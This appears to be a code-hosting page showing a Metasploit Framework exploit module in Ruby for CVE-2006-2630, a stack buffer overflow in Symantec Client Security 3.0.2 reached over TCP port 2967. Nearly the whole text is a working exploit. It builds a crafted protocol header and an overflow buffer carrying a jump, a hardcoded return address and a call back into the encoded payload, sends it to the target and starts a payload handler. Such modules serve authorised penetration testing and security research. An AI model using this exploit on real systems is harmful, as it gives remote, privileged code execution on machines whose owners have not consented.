Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/antivirus/symantec_rtvscan.rb
19612 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Tcp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Symantec Remote Management Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in Symantec Client Security 3.0.x.
18
This module has only been tested against Symantec Client Security 3.0.2
19
build 10.0.2.2000.
20
},
21
'Author' => [ 'MC' ],
22
'License' => MSF_LICENSE,
23
'References' => [
24
['CVE', '2006-2630'],
25
['OSVDB', '25846'],
26
['BID', '18107'],
27
['URL', 'http://research.eeye.com/html/advisories/published/AD20060612.html'],
28
],
29
'Privileged' => true,
30
31
'DefaultOptions' => {
32
'EXITFUNC' => 'thread',
33
},
34
'Payload' => {
35
'Space' => 500,
36
'BadChars' => "\x00",
37
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
38
},
39
'Platform' => 'win',
40
'Targets' => [
41
[ 'SCS 3.0.2 build 10.0.2.2000', { 'Ret' => 0x69985624 } ], # Dec2TAR.dll
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2006-05-24',
45
'Notes' => {
46
'Reliability' => UNKNOWN_RELIABILITY,
47
'Stability' => UNKNOWN_STABILITY,
48
'SideEffects' => UNKNOWN_SIDE_EFFECTS
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(2967)
56
]
57
)
58
end
59
60
def exploit
61
connect
62
63
header = "\x01\x10\x0a\x20\x0a\x00\x00\x00"
64
header << "\x02\x18\x00\x01\x00\x00\x00\x00"
65
header << "\x00\x24\x00\x14\xb7\xc9\xd2\xd9"
66
header << "\x3e\x33\xef\x34\x25\x1f\x43\x00"
67
68
crufta = rand_text_alphanumeric(512)
69
cruftb = rand_text_alphanumeric(514)
70
cruftc = payload.encoded + rand_text_alphanumeric(513 - payload.encoded.length)
71
cruftd = rand_text_alphanumeric(495)
72
73
cruftd[479, 2] = "\xeb\x06"
74
cruftd[483, 4] = [target.ret].pack('V')
75
cruftd[487, 5] = [0xe8, -1000].pack('CV')
76
77
cruftd << rand_text_alphanumeric(21)
78
crufte = rand_text_alphanumeric(6) + "\x19\x00\x00\x00"
79
crufte << rand_text_alphanumeric(504) + "\x00\x00"
80
81
overflow = [ crufta.length ].pack('v') + crufta
82
overflow << [ cruftb.length ].pack('v') + cruftb
83
overflow << [ cruftc.length ].pack('v') + cruftc
84
overflow << [ cruftd.length ].pack('v') + cruftd
85
overflow << [ crufte.length ].pack('v') + crufte
86
87
sploit = header + overflow
88
89
print_status("Trying target #{target.name}...")
90
sock.put(sploit)
91
92
handler
93
disconnect
94
end
95
end
96
97